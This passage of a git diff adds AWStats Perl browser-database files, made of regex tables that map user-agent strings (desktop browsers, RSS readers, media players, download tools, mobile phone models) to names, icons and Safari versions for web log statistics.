Samsung +'sie\-', # SIE +'sec\-', # SonyEricsson +'sonyericsson', # SonyEricsson +'ericsson', # Ericsson (must be after sonyericsson) +'mmef', +'mspie', +'vodafone', +'wapalizer', +'wapsilon', +'wap', # Generic WAP phone (must be after 'wap*') +'webcollage', +'up\.', # Works for UP.Browser and UP.Link +# PDA/Phonecell browsers +'android', +'blackberry', +'cnf2', +'docomo', +'ipcheck', +'iphone', +'portalmmm', +# Others (TV) +'webtv', +'democracy', +# Anonymous Proxy Browsers (can be used as grabbers as well...) +'cjb\.net', +'ossproxy', +'smallproxy', +# Other kind of browsers +'adobeair', +'apt', +'analogx_proxy', +'gnome\-vfs', +'neon', +'curl', +'csscheck', +'httrack', +'fdm', +'javaws', +'wget', +'fget', +'chilkat', +'webdownloader\sfor\sx', +'w3m', +'wdg_validator', +'w3c_validator', +'jigsaw', +'webreaper', +'webzip', +'staroffice', +'gnus', +'nikto', +'download\smaster', +'microsoft\-webdav\-miniredir', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\scache\smanager', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sdav', +'POE\-Component\-Client\-HTTP', +'mozilla', # Must be at end because a lot of browsers contains mozilla in string +'libwww', # Must be at end because some browser have both 'browser id' and 'libwww' +'lwp' +); + +# BrowsersHashIDLib +# List of browser's name ('browser id in lower case', 'browser text') +#--------------------------------------------------------------- +%BrowsersHashIDLib = ( +# Common web browsers text, included the ones hard coded in awstats.pl +# firefox, opera, chrome, safari, konqueror, svn, msie, netscape +'firefox','Firefox', +'opera','Opera', +'chrome','Google Chrome', +'safari','Safari', +'konqueror','Konqueror', +'svn', 'Subversion client', +'msie','MS Internet Explorer', +'netscape','Netscape', + +'elinks','ELinks', +'firebird','Firebird (Old Firefox)', +'go!zilla','Go!Zilla', +'icab','iCab', +'links','Links', +'lynx','Lynx', +'omniweb','OmniWeb', +# Other standard web browsers +'22acidownload','22AciDownload', +'abrowse','ABrowse', +'amaya','Amaya', +'amigavoyager','AmigaVoyager', +'aol\-iweng','AOL-Iweng', +'arora','Arora', +'aweb','AWeb', +'charon', 'Charon', +'donzilla','Donzilla', +'seamonkey','SeaMonkey', +'flock','Flock', +'minefield','Minefield (Firefox 3.0 development)', +'bonecho','BonEcho (Firefox 2.0 development)', +'granparadiso','GranParadiso (Firefox 3.0 development)', +'songbird','Songbird', +'strata','Strata', +'sylera','Sylera', +'kazehakase','Kazehakase', +'prism','Prism', +'icecat','GNU IceCat', +'iceape','GNU IceApe', +'iceweasel','Iceweasel', +'w3clinemode','W3CLineMode', +'bpftp','BPFTP', +'camino','Camino', +'chimera','Chimera (Old Camino)', +'cyberdog','Cyberdog', +'dillo','Dillo', +'xchaos_arachne','Arachne', +'doris','Doris (for Symbian)', +'dreamcast','Dreamcast', +'xbox', 'XBoX', +'downloadagent','DownloadAgent', +'ecatch', 'eCatch', +'emailsiphon','EmailSiphon', +'encompass','Encompass', +'epiphany','Epiphany', +'friendlyspider','FriendlySpider', +'fresco','ANT Fresco', +'galeon','Galeon', +'flashget','FlashGet', +'freshdownload','FreshDownload', +'getright','GetRight', +'leechget','LeechGet', +'netants','NetAnts', +'headdump','HeadDump', +'hotjava','Sun HotJava', +'ibrowse','iBrowse', +'intergo','InterGO', +'k\-meleon','K-Meleon', +'k\-ninja','K-Ninja', +'linemodebrowser','W3C Line Mode Browser', +'lotus\-notes','Lotus Notes web client', +'macweb','MacWeb', +'multizilla','MultiZilla', +'ncsa_mosaic','NCSA Mosaic', +'netcaptor','NetCaptor', +'netpositive','NetPositive', +'nutscrape', 'Nutscrape', +'msfrontpageexpress','MS FrontPage Express', +'phoenix','Phoenix', +'contiki','Contiki', +'emacs\-w3','Emacs/w3s', +'shiira','Shiira', +'tzgeturl','TzGetURL', +'viking','Viking', +'webfetcher','WebFetcher', +'webexplorer','IBM-WebExplorer', +'webmirror','WebMirror', +'webvcr','WebVCR', +'qnx\svoyager','QNX Voyager', +# Site grabbers +'cloudflare','CloudFlare', +'grabber','Grabber', +'teleport','TelePort Pro', +'webcapture','Acrobat Webcapture', +'webcopier', 'WebCopier', +# Media only browsers +'real','Real player or compatible (media player)', +'winamp','WinAmp (media player)', # Works for winampmpeg and winamp3httprdr +'windows\-media\-player','Windows Media Player (media player)', +'audion','Audion (media player)', +'freeamp','FreeAmp (media player)', +'itunes','Apple iTunes (media player)', +'jetaudio','JetAudio (media player)', +'mint_audio','Mint Audio (media player)', +'mpg123','mpg123 (media player)', +'mplayer','The Movie Player (media player)', +'nsplayer','NetShow Player (media player)', +'qts','QuickTime (media player)', +'quicktime','QuickTime (media player)', +'sonique','Sonique (media player)', +'uplayer','Ultra Player (media player)', +'xaudio','Some XAudio Engine based MPEG player (media player)', +'xine','Xine, a free multimedia player (media player)', +'xmms','XMMS (media player)', +'gstreamer','GStreamer (media library)', +# RSS Readers +'abilon','Abilon (RSS Reader)', +'aggrevator', 'Aggrevator (RSS Reader)', +'aiderss', 'AideRSS (RSS Reader)', +'akregator','<a href="http://akregator.sourceforge.net/" title="Browser home page [new window]" target="_blank">Akregator (RSS Reader)</a>', +'applesyndication','<a href="http://www.apple.com/macosx/features/safari/" title="Browser home page [new window]" target="_blank">AppleSyndication (RSS Reader)</a>', +'betanews_reader','Betanews Reader (RSS Reader)', +'blogbridge','<a href="http://www.blogbridge.com/" title="Browser home page [new window]" target="_blank">BlogBridge (RSS Reader)</a>', +'cyndicate','Cyndicate (RSS Reader)', +'feeddemon', 'FeedDemon (RSS Reader)', +'feedreader', 'FeedReader (RSS Reader)', +'feedtools','<a href="http://sporkmonger.com/projects/feedtools/" title="Browser home page [new window]" target="_blank">FeedTools (RSS Reader)</a>', +'greatnews','<a href="http://www.curiostudio.com/" title="Browser home page [new window]" target="_blank">GreatNews (RSS Reader)</a>', +'gregarius','<a href="http://devlog.gregarius.net/docs/ua" title="Browser home page [new window]" target="_blank">Gregarius (RSS Reader)</a>', +'hatena_rss','<a href="http://r.hatena.ne.jp/" title="Browser home page [new window]" target="_blank">Hatena (RSS Reader)</a>', +'jetbrains_omea', 'Omea (RSS Reader)', +'liferea','<a href="http://liferea.sourceforge.net/" title="Browser home page [new window]" target="_blank">Liferea (RSS Reader)</a>', +'netnewswire', 'NetNewsWire (RSS Reader)', +'newsfire', 'NewsFire (RSS Reader)', +'newsgator', 'NewsGator (RSS Reader)', +'newzcrawler', 'NewzCrawler (RSS Reader)', +'plagger', 'Plagger (RSS Reader)', +'pluck', 'Pluck (RSS Reader)', +'potu','<a href="http://www.potu.com/" title="Potu Rss-Reader home page [new window]" target="_blank">Potu (RSS Reader)</a>', +'pubsub\-rss\-reader','<a href="http://www.pubsub.com/" title="Browser home page [new window]" target="_blank">PubSub (RSS Reader)</a>', +'pulpfiction', 'PulpFiction (RSS Reader)', +'rssbandit', 'RSS Bandit (RSS Reader)', +'rssreader', 'RssReader (RSS Reader)', +'rssowl', 'RSSOwl (RSS Reader)', +'rss\sxpress','RSS Xpress (RSS Reader)', +'rssxpress','RSSXpress (RSS Reader)', +'sage', 'Sage (RSS Reader)', +'sharpreader', 'SharpReader (RSS Reader)', +'shrook', 'Shrook (RSS Reader)', +'straw', 'Straw (RSS Reader)', +'syndirella', 'Syndirella (RSS Reader)', +'vienna', '<a href="http://www.vienna-rss.org/" title="Vienna RSS-Reader [new window]" target="_blank">Vienna (RSS Reader)</a>', +'wizz\srss\snews\sreader','Wizz RSS News Reader (RSS Reader)', +# PDA/Phonecell browsers +'alcatel','Alcatel Browser (PDA/Phone browser)', +'lg\-','LG (PDA/Phone browser)', +'mot\-','Motorola Browser (PDA/Phone browser)', +'nokia','Nokia Browser (PDA/Phone browser)', +'panasonic','Panasonic Browser (PDA/Phone browser)', +'philips','Philips Browser (PDA/Phone browser)', +'sagem','Sagem (PDA/Phone browser)', +'samsung','Samsung (PDA/Phone browser)', +'sie\-','SIE (PDA/Phone browser)', +'sec\-','Sony/Ericsson (PDA/Phone browser)', +'sonyericsson','Sony/Ericsson Browser (PDA/Phone browser)', +'ericsson','Ericsson Browser (PDA/Phone browser)', # Must be after SonyEricsson +'mmef','Microsoft Mobile Explorer (PDA/Phone browser)', +'mspie','MS Pocket Internet Explorer (PDA/Phone browser)', +'vodafone','Vodaphone browser (PDA/Phone browser)', +'wapalizer','WAPalizer (PDA/Phone browser)', +'wapsilon','WAPsilon (PDA/Phone browser)', +'wap','Unknown WAP browser (PDA/Phone browser)', # Generic WAP phone (must be after 'wap*') +'webcollage','WebCollage (PDA/Phone browser)', +'up\.','UP.Browser (PDA/Phone browser)', # Works for UP.Browser and UP.Link +# PDA/Phonecell browsers +'android','Android browser (PDA/Phone browser)', +'blackberry','BlackBerry (PDA/Phone browser)', +'cnf2','Supervision I-Mode ByTel (phone)', +'docomo','I-Mode phone (PDA/Phone browser)', +'ipcheck','Supervision IP Check (phone)', +'iphone','IPhone (PDA/Phone browser)', +'portalmmm','I-Mode phone (PDA/Phone browser)', +# Others (TV) +'webtv','WebTV browser', +'democracy','Democracy', +# Anonymous Proxy Browsers (can be used as grabbers as well...) +'cjb\.net','<a href="http://proxy.cjb.net/" title="Browser home page [new window]" target="_blank">CJB.NET Proxy</a>', +'ossproxy','<a href="http://www.marketscore.com/FAQ.Aspx" title="OSSProxy home page [new window]" target="_blank">OSSProxy</a>', +'smallproxy','<a href="http://www.smallproxy.ru/" title="SmallProxy home page [new window]" target="_blank">SmallProxy</a>', +# Other kind of browsers +'adobeair','AdobeAir', +'apt','Debian APT', +'analogx_proxy','AnalogX Proxy', +'gnome\-vfs', 'Gnome FileSystem Abstraction library', +'neon', 'Neon HTTP and WebDAV client library', +'curl','Curl', +'csscheck','WDG CSS Validator', +'httrack','HTTrack', +'fdm','<a href="http://www.freedownloadmanager.org/" title="Browser home page [new window]" target="_blank">FDM Free Download Manager</a>', +'javaws','Java Web Start', +'wget','Wget', +'fget','FGet', +'chilkat', 'Chilkat', +'webdownloader\sfor\sx','Downloader for X', +'w3m','w3m', +'wdg_validator','WDG HTML Validator', +'w3c_validator','W3C Validator', +'jigsaw','W3C Validator', +'webreaper','WebReaper', +'webzip','WebZIP', +'staroffice','StarOffice', +'gnus', 'Gnus Network User Services', +'nikto', 'Nikto Web Scanner', +'download\smaster','Download Master', +'microsoft\-webdav\-miniredir', 'Microsoft Data Access Component Internet Publishing Provider', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\scache\smanager', 'Microsoft Data Access Component Internet Publishing Provider Cache Manager', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sdav', 'Microsoft Data Access Component Internet Publishing Provider DAV', +'POE\-Component\-Client\-HTTP','HTTP user-agent for POE (portable networking framework for Perl)', +'mozilla','Mozilla', +'libwww','LibWWW', +'lwp','LibWWW-perl' +); + + +# BrowsersHashAreGrabber +# Put here an entry for each browser in BrowsersSearchIDOrder that are grabber +# browsers. +#--------------------------------------------------------------------------- +%BrowsersHereAreGrabbers = ( +'cloudflare','1', +'grabber','1', +'teleport','1', +'webcapture','1', +'webcopier','1', +'curl','1', +'fdm','1', +'httrack','1', +'webreaper','1', +'wget','1', +'fget','1', +'download\smaster','1', +'webdownloader\sfor\sx','1', +'webzip','1' +); + + +# BrowsersHashIcon +# Each Browsers Search ID is associated to a string that is the name of icon +# file for this browser. +#--------------------------------------------------------------------------- +%BrowsersHashIcon = ( +# Common web browsers text, included the ones hard coded in awstats.pl +# firefox, opera, chrome, safari, konqueror, svn, msie, netscape +'firefox','firefox', +'opera','opera', +'chrome','chrome', +'safari','safari', +'konqueror','konqueror', +'svn','subversion', +'msie','msie', +'netscape','netscape', + +'firebird','phoenix', +'go!zilla','gozilla', +'icab','icab', +'lynx','lynx', +'omniweb','omniweb', +# Other standard web browsers +'amaya','amaya', +'amigavoyager','amigavoyager', +'avantbrowser','avant', +'aweb','aweb', +'bonecho','firefox', +'minefield','firefox', +'granparadiso','firefox', +'donzilla','mozilla', +'songbird','mozilla', +'strata','mozilla', +'sylera','mozilla', +'kazehakase','mozilla', +'prism','mozilla', +'iceape','mozilla', +'seamonkey','seamonkey', +'flock','flock', +'icecat','icecat', +'iceweasel','iceweasel', +'bpftp','bpftp', +'camino','chimera', +'chimera','chimera', +'cyberdog','cyberdog', +'dillo','dillo', +'doris','doris', +'dreamcast','dreamcast', +'xbox', 'winxbox', +'ecatch','ecatch', +'encompass','encompass', +'epiphany','epiphany', +'fresco','fresco', +'galeon','galeon', +'flashget','flashget', +'freshdownload','freshdownload', +'getright','getright', +'leechget','leechget', +'hotjava','hotjava', +'ibrowse','ibrowse', +'k\-meleon','kmeleon', +'lotus\-notes','lotusnotes', +'macweb','macweb', +'multizilla','multizilla', +'msfrontpageexpress','fpexpress', +'ncsa_mosaic','ncsa_mosaic', +'netpositive','netpositive', +'phoenix','phoenix', +# Site grabbers +'grabber','grabber', +'teleport','teleport', +'webcapture','adobe', +'webcopier','webcopier', +# Media only browsers +'real','real', +'winamp','mediaplayer', # Works for winampmpeg and winamp3httprdr +'windows\-media\-player','mplayer', +'audion','mediaplayer', +'freeamp','mediaplayer', +'itunes','mediaplayer', +'jetaudio','mediaplayer', +'mint_audio','mediaplayer', +'mpg123','mediaplayer', +'mplayer','mediaplayer', +'nsplayer','netshow', +'qts','mediaplayer', +'sonique','mediaplayer', +'uplayer','mediaplayer', +'xaudio','mediaplayer', +'xine','mediaplayer', +'xmms','mediaplayer', +# RSS Readers +'abilon', 'abilon', +'aggrevator', 'rss', +'aiderss', 'rss', +'akregator', 'rss', +'applesyndication', 'rss', +'betanews_reader','rss', +'blogbridge','rss', +'feeddemon', 'rss', +'feedreader', 'rss', +'feedtools', 'rss', +'greatnews', 'rss', +'gregarius', 'rss', +'hatena_rss', 'rss', +'jetbrains_omea', 'rss', +'liferea', 'rss', +'netnewswire', 'rss', +'newsfire', 'rss', +'newsgator', 'rss', +'newzcrawler', 'rss', +'plagger', 'rss', +'pluck', 'rss', +'potu', 'rss', +'pubsub\-rss\-reader', 'rss', +'pulpfiction', 'rss', +'rssbandit', 'rss', +'rssreader', 'rss', +'rssowl', 'rss', +'rss\sxpress','rss', +'rssxpress','rss', +'sage', 'rss', +'sharpreader', 'rss', +'shrook', 'rss', +'straw', 'rss', +'syndirella', 'rss', +'vienna', 'rss', +'wizz\srss\snews\sreader','wizz', +# PDA/Phonecell browsers +'alcatel','pdaphone', # Alcatel +'lg\-','pdaphone', # LG +'ericsson','pdaphone', # Ericsson +'mot\-','pdaphone', # Motorola +'nokia','pdaphone', # Nokia +'panasonic','pdaphone', # Panasonic +'philips','pdaphone', # Philips +'sagem','pdaphone', # Sagem +'samsung','pdaphone', # Samsung +'sie\-','pdaphone', # SIE +'sec\-','pdaphone', # Sony/Ericsson +'sonyericsson','pdaphone', # Sony/Ericsson +'mmef','pdaphone', +'mspie','pdaphone', +'vodafone','pdaphone', +'wapalizer','pdaphone', +'wapsilon','pdaphone', +'wap','pdaphone', # Generic WAP phone (must be after 'wap*') +'webcollage','pdaphone', +'up\.','pdaphone', # Works for UP.Browser and UP.Link +# PDA/Phonecell browsers +'android','android', +'blackberry','pdaphone', +'docomo','pdaphone', +'iphone','pdaphone', +'portalmmm','pdaphone', +# Others (TV) +'webtv','webtv', +# Anonymous Proxy Browsers (can be used as grabbers as well...) +'cjb\.net','cjbnet', +# Other kind of browsers +'adobeair','adobe', +'apt','apt', +'analogx_proxy','analogx', +'microsoft\-webdav\-miniredir','frontpage', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\scache\smanager','frontpage', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sdav','frontpage', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sprotocol\sdiscovery','frontpage', +'microsoft\soffice\sprotocol\sdiscovery','frontpage', +'microsoft\soffice\sexistence\sdiscovery','frontpage', +'gnome\-vfs', 'gnome', +'neon','neon', +'javaws','java', +'webzip','webzip', +'webreaper','webreaper', +'httrack','httrack', +'staroffice','staroffice', +'gnus', 'gnus', +'mozilla','mozilla' +); + +# Source for this is http://developer.apple.com/internet/safari/uamatrix.html +%BrowsersSafariBuildToVersionHash = +( + '48' => '0.8', + '51' => '0.8.1', + '60' => '0.8.2', + '73' => '0.9', + '74' => '1.0b2', + '85' => '1.0', + '85.5' => '1.0', + '85.7' => '1.0.2', + '85.8' => '1.0.3', + '85.8.1' => '1.0.3', + '100' => '1.1', + '100.1' => '1.1.1', + '125.7' => '1.2.2', + '125.8' => '1.2.2', + '125.9' => '1.2.3', + '125.11' => '1.2.4', + '125.12' => '1.2.4', + '312' => '1.3', + '312.3' => '1.3.1', + '312.3.1' => '1.3.1', + '312.5' => '1.3.2', + '312.6' => '1.3.2', + '412' => '2.0', + '412.2' => '2.0', + '412.2.2' => '2.0', + '412.5' => '2.0.1', + '413' => '2.0.1', + '416.12' => '2.0.2', + '416.13' => '2.0.2', + '417.8' => '2.0.3', + '417.9.2' => '2.0.3', + '417.9.3' => '2.0.3', + '419.3' => '2.0.4', + '522.11.3' => '3.0', + '522.12' => '3.0.2', + '523.10' => '3.0.4', + '523.12' => '3.0.4', + '525.13' => '3.1', + '525.17' => '3.1.1', + '525.20' => '3.1.1', + '525.20.1' => '3.1.2', + '525.21' => '3.1.2', + '525.22' => '3.1.2', + '525.26' => '3.2', + '525.26.13' => '3.2', + '525.27' => '3.2.1', + '525.27.1' => '3.2.1', + '526.11.2' => '4.0', + '528.1' => '4.0', + '528.16' => '4.0' +); + + +1; + + +# Browsers examples by engines +# +# -- Mosaic -- +# MSIE 4.0 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; KITV4 Wanadoo; KITV5 Wanadoo) +# +# -- Gecko Netscape -- +# Netscape 4.05 Mozilla/4.05 [fr]C-SYMPA (Win95; I) +# Netscape 4.7 Mozilla/4.7 [fr] (Win95; I) +# Netscape 6.0 Mozilla/5.0 (Macintosh; N; PPC; fr-FR; m18) Gecko/20001108 Netscape6/6.0 +# Netscape 7.02 Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20030208 Netscape/7.02 +# +# -- Gecko others -- +# Mozilla 1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3) Gecko/20030312 +# Firefox 0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firefox/0.9.1 +# Firebird,Phoenix,Galeon,AmiZilla,Dino +# Autre Mozilla/3.01 (compatible;) +# +# -- Opera -- +# Opera 6.03 Mozilla/3.0 (Windows 98; U) Opera 6.03 [en] +# Opera 5.12 Mozilla/3.0 (Windows 98; U) Opera 5.12 [en] +# Opera 3.21 Opera 3.21, Windows: +# +# -- KHTML -- +# Safari +# Konqueror +# diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers_phone.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers_phone.pm new file mode 100644 index 0000000..5232276 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers_phone.pm @@ -0,0 +1,1512 @@ +# AWSTATS BROWSERS DATABASE +#------------------------------------------------------- +# If you want to add a Browser to extend AWStats database detection capabilities, +# you must add an entry in BrowsersSearchIDOrder and in BrowsersHashIDLib. +#------------------------------------------------------- +# $Revision: 1.13 $ - $Author: eldy $ - $Date: 2012/10/17 09:35:19 $ + +# Originale version by malu +# 2006-05-15 Sean Carlos http://www.antezeta.com/awstats.html +# akregator (rss) +# AppleSyndication (rss) +# BlogBridge http://www.blogbridge.com/ (rss) +# BonEcho (Firefox 2.0 alpha) +# FeedTools http://sporkmonger.com/projects/feedtools/ (rss) +# gnome\-vfs.*neon http://www.webdav.org/neon/ +# GreatNews http://www.curiostudio.com/ (rss) +# Gregarius devlog.gregarius.net/docs/ua (rss) +# hatena rss http://r.hatena.ne.jp/ (rss) +# Liferea http://liferea.sourceforge.net/ (rss) +# PubSub-RSS-Reader http://www.pubsub.com/ (rss) +# 2006-05-20 Sean Carlos http://www.antezeta.com/awstats.html +# Potu Rss-Reader http://www.potu.com/ +# OSSProxy http://www.marketscore.com/FAQ.Aspx + + +#package AWSUA; + +# Relocated from main file for easier editing +%BrowsersFamily = ( + 'msie' => 1, + 'firefox' => 2, + 'netscape' => 3, + 'svn' => 4, + 'opera' => 5, + 'safari' => 6, + 'chrome' => 7, + 'konqueror' => 8 +); + +# BrowsersSearchIDOrder +# This list is used to know in which order to search Browsers IDs (Most +# frequent one are first in this list to increase detect speed). +# It contains all matching criteria to search for in log fields. +# Note: Regex IDs are in lower case and ' ' and '+' are changed into '_' +#------------------------------------------------------- +@BrowsersSearchIDOrder = ( +# Most frequent standard web browsers are first in this list except the ones hardcoded in awstats.pl: +# firefox, opera, chrome, safari, konqueror, svn, msie, netscape +'elinks', +'firebird', +'go!zilla', +'icab', +'links', +'lynx', +'omniweb', +# Other standard web browsers +'22acidownload', +'abrowse', +'aol\-iweng', +'amaya', +'amigavoyager', +'arora', +'aweb', +'charon', +'donzilla', +'seamonkey', +'flock', +'minefield', +'bonecho', +'granparadiso', +'songbird', +'strata', +'sylera', +'kazehakase', +'prism', +'icecat', +'iceape', +'iceweasel', +'w3clinemode', +'bpftp', +'camino', +'chimera', +'cyberdog', +'dillo', +'xchaos_arachne', +'doris', +'dreamcast', +'xbox', +'downloadagent', +'ecatch', +'emailsiphon', +'encompass', +'epiphany', +'friendlyspider', +'fresco', +'galeon', +'flashget', +'freshdownload', +'getright', +'leechget', +'netants', +'headdump', +'hotjava', +'ibrowse', +'intergo', +'k\-meleon', +'k\-ninja', +'linemodebrowser', +'lotus\-notes', +'macweb', +'multizilla', +'ncsa_mosaic', +'netcaptor', +'netpositive', +'nutscrape', +'msfrontpageexpress', +'contiki', +'emacs\-w3', +'phoenix', +'shiira', # Must be before safari +'tzgeturl', +'viking', +'webfetcher', +'webexplorer', +'webmirror', +'webvcr', +'qnx\svoyager', +# Site grabbers +'teleport', +'webcapture', +'webcopier', +# Media only browsers +'real', +'winamp', # Works for winampmpeg and winamp3httprdr +'windows\-media\-player', +'audion', +'freeamp', +'itunes', +'jetaudio', +'mint_audio', +'mpg123', +'mplayer', +'nsplayer', +'qts', +'quicktime', +'sonique', +'uplayer', +'xaudio', +'xine', +'xmms', +'gstreamer', +# RSS Readers +'abilon', +'aggrevator', +'aiderss', +'akregator', +'applesyndication', +'betanews_reader', +'blogbridge', +'cyndicate', +'feeddemon', +'feedreader', +'feedtools', +'greatnews', +'gregarius', +'hatena_rss', +'jetbrains_omea', +'liferea', +'netnewswire', +'newsfire', +'newsgator', +'newzcrawler', +'plagger', +'pluck', +'potu', +'pubsub\-rss\-reader', +'pulpfiction', +'rssbandit', +'rssreader', +'rssowl', +'rss\sxpress', +'rssxpress', +'sage', +'sharpreader', +'shrook', +'straw', +'syndirella', +'vienna', +'wizz\srss\snews\sreader', +# PDA/Phonecell browsers +'alcatel\-be4', +'alcatel\-be5', +'alcatel\-bf3', +'alcatel\-bf4', +'alcatel\-bf5', +'alcatel\-bg3', +'alcatel\-bh4', +'auditautomatic', +'ericssonr520', +'ericssont20', +'ericssont29', +'ericssont39', +'ericssont65', +'ericssont66', +'ericssont68', +'lg\-g7000', +'mitsu', +'mot\-c350m', +'mot\-c4', +'mot\-cb', +'mot\-d4', +'mot\-d5', +'mot\-d8', +'mot\-e1', +'mot\-f0', +'mot\-f6', +'mot\-pan4', +'mot\-phx4', +'mot\-sap4', +'mot\-t720', +'mot\-ta02', +'mot\-v66m', +'mot\-v708', +'mot\-8300', +'mot\-a\-86', +'mot\-af', +'mot\-c2', +'mot\-c350', +'mot\-c550', +'mot\-c650', +'mot\-cf', +'mot\-f5', +'mot\-fe', +'mot\-t280', +'mot\-v300', +'mot\-v400', +'mot\-v500', +'mot\-v525', +'mot\-v600', +'mot\-v60m', +'mot\-v80', +'mot\-v810', +'nokia3100', +'nokia3200', +'nokia3560', +'nokia3595', +'nokia6220', +'nokia8265', +'nokia3300', +'nokia3530', +'nokia3590', +'nokia6108', +'nokia6211', +'nokia6600', +'nokia6650', +'nokia9210', +'nokian\-gage', +'nokia3210', +'nokia3310', +'nokia3330', +'nokia3350', +'nokia3410', +'nokia3510', +'nokia3650', +'nokia5100', +'nokia5110', +'nokia5130', +'nokia5210', +'nokia5510', +'nokia6100', +'nokia6110', +'nokia6130', +'nokia6150', +'nokia6210', +'nokia6250', +'nokia6310\/', +'nokia6310i', +'nokia6500', +'nokia6510', +'nokia6610', +'nokia6800', +'nokia7110', +'nokia7210', +'nokia7250', +'nokia7650', +'nokia8110i', +'nokia8210', +'nokia8310', +'nokia8810', +'nokia8850', +'nokia8855', +'nokia8890', +'nokia8910', +'nokia9000', +'nokia9110', +'nokia9210i', +'nokia3660', +'nokia6230', +'nokia6340i', +'nokia6810', +'nokia6820', +'nokia7200', +'nokia7600', +'nokia7610', +'nokia5310', +'nokia6300', +'nokia6131', +'nokia5200', +'nokia7370', +'nokia5610', +'nokian70', +'opwv\-sdk', +'panasonic\-gad35', +'panasonic\-gad67', +'panasonic\-gad68', +'panasonic\-gad6\*', +'panasonic\-gad75', +'panasonic\-gad76', +'panasonic\-gad87', +'panasonic\-gad88', +'panasonic\-gad95', +'panasonic\-gad96', +'panasonic\-g50', +'panasonic\-g60', +'panasonic\-x60', +'panasonic\-x70', +'philips\-az\@lis238', +'philips\-az\@lis268', +'philips\-az\@lis288', +'philips\-fisio120', +'philips\-fisio121', +'philips\-fisio311', +'philips\-fisio312', +'philips\-fisio316', +'philips\-fisio610', +'philips\-fisio620', +'philips\-fisio_625', +'philips\-fisio_820', +'philips\-fisio_822', +'philips\-fisio_825', +'philips\-v21wap', +'philips\-xenium9\@9', +'r380', +'r600', +'sagem\-3xxx', +'sagem\-9xx', +'sagem\-myx\-2', +'sagem\-myx\-3', +'sagem\-myx\-5\/', +'sagem\-myx\-5d', +'sagem\-myx\-5m', +'sagem\-myx\-6', +'samsung\-sgh\-e700', +'samsung\-sgh\-s500', +'samsung\-sgh\-t500', +'samsung\-sgh\-a300', +'samsung\-sgh\-a400', +'samsung\-sgh\-a800', +'samsung\-sgh\-n100', +'samsung\-sgh\-n400', +'samsung\-sgh\-n500', +'samsung\-sgh\-n600', +'samsung\-sgh\-n620', +'samsung\-sgh\-r200s', +'samsung\-sgh\-r200', +'samsung\-sgh\-r210', +'samsung\-sgh\-s100', +'samsung\-sgh\-t100', +'samsung\-sgh\-t400', +'samsung\-sgh\-v200', +'samsung\-sgh\-e100', +'samsung\-sgh\-e708', +'samsung\-sgh\-e800', +'samsung\-sgh\-x100', +'samsung\-sgh\-x600', +'sec\-sghc100', +'sec\-sghp100', +'sec\-sghp400', +'sec\-sghq200', +'sec\-sghs200', +'sec\-spha460', +'sec\-sghs100', +'sec\-sghs300', +'sec\-sghv200', +'sec\-sghv205', +'sec\-sghd410', +'sec\-sghe105', +'sec\-sghe410', +'sec\-sghe400', +'sec\-sghe600', +'sec\-sghe710', +'sec\-sghe715', +'sec\-sghs105', +'sec\-sghx105', +'sec\-sghx426', +'sec\-sghx427', +'sec\-sghx430', +'sec\-sghx450', +'sharp\-tq\-gx10', +'sharp\-tq\-gx12', +'sie\-2128', +'sie\-6618', +'sie\-a55', +'sie\-c60', +'sie\-c62', +'sie\-m55', +'sie\-mc60', +'sie\-sl55', +'sie\-slin', +'sie\-a50', +'sie\-c3i', +'sie\-c45', +'sie\-c55', +'sie\-m50', +'sie\-me45', +'sie\-mt50', +'sie\-s35', +'sie\-s40', +'sie\-s45', +'sie\-s55', +'sie\-sl45', +'sie\-slik', +'sie\-a57', +'sie\-a60', +'sie\-c56', +'sie\-c61', +'sie\-cf62', +'sie\-m65', +'sie\-s56', +'sie\-s57c', +'sie\-s65', +'sie\-sl5e', +'sie\-st60', +'sie\-sx1', +'sonyericssonp900', +'sonyericssont230', +'sonyericssont306', +'sonyericssont316', +'sonyericssont616', +'sonyericssonz600', +'sonyericssonp800', +'sonyericssont100', +'sonyericssont200', +'sonyericssont300', +'sonyericssont310', +'sonyericssont600', +'sonyericssont610', +'sonyericssont68\/', +'sonyericssont68i', +'sonyericssont620', +'sonyericssont630', +'lg\-c1100', +'lg\-c1200', +'lg\-c2200', +'lg\-g1500', +'lg\-g3100', +'lg\-g4015', +'lg\-g5300', +'lg\-g5400', +'lg\-g7050', +'lg\-g7100', +'lg\-l1100', +'lg\-l1200', +'mot\-85', +'mot\-a\-0a', +'mot\-a\-2b', +'mot\-c357', +'mot\-c380', +'mot\-e398', +'mot\-v180', +'mot\-v220', +'mot\-v3', +'mot\-v980', +'nokia2650', +'nokia3108', +'nokia3120', +'nokia3220', +'nokia5140', +'nokia6010', +'nokia6170', +'nokia6260', +'nokia6630', +'nokia6670', +'nokia7260', +'sie\-a65', +'sie\-c65', +'sie\-c6v', +'sie\-cx65', +'sie\-cx70', +'sie\-sl65', +'sonyericssonk500i', +'sonyericssonk700c', +'sonyericssonk700i', +'sonyericssonp910i', +'sonyericssons700i', +'sonyericssont226', +'sonyericssont628', +'sonyericssonz1010', +'sonyericssonz200', +'alcatel\-be3', +'alcatel\-oh5', +'alcatel\-th3', +'alcatel\-th4', +'ericssona2628s', +'ericssonr320', +'lg\-c1300', +'lg\-c3100', +'lg\-f2100', +'lg\-g1600', +'lg\-g210', +'lg\-g4010', +'lg\-g510', +'lg\-g5310', +'lg\-g5600', +'lg\-g650', +'lg\-g7070', +'lg\-l3100', +'lg\-t5100', +'mot\-2200', +'mot\-32', +'mot\-74', +'mot\-76', +'mot\-87', +'mot\-8700', +'mot\-a\-0e', +'mot\-a\-1c', +'mot\-a760', +'mot\-a835', +'mot\-c385', +'mot\-v26x', +'mot\-v290', +'mot\-v505', +'mot\-v547', 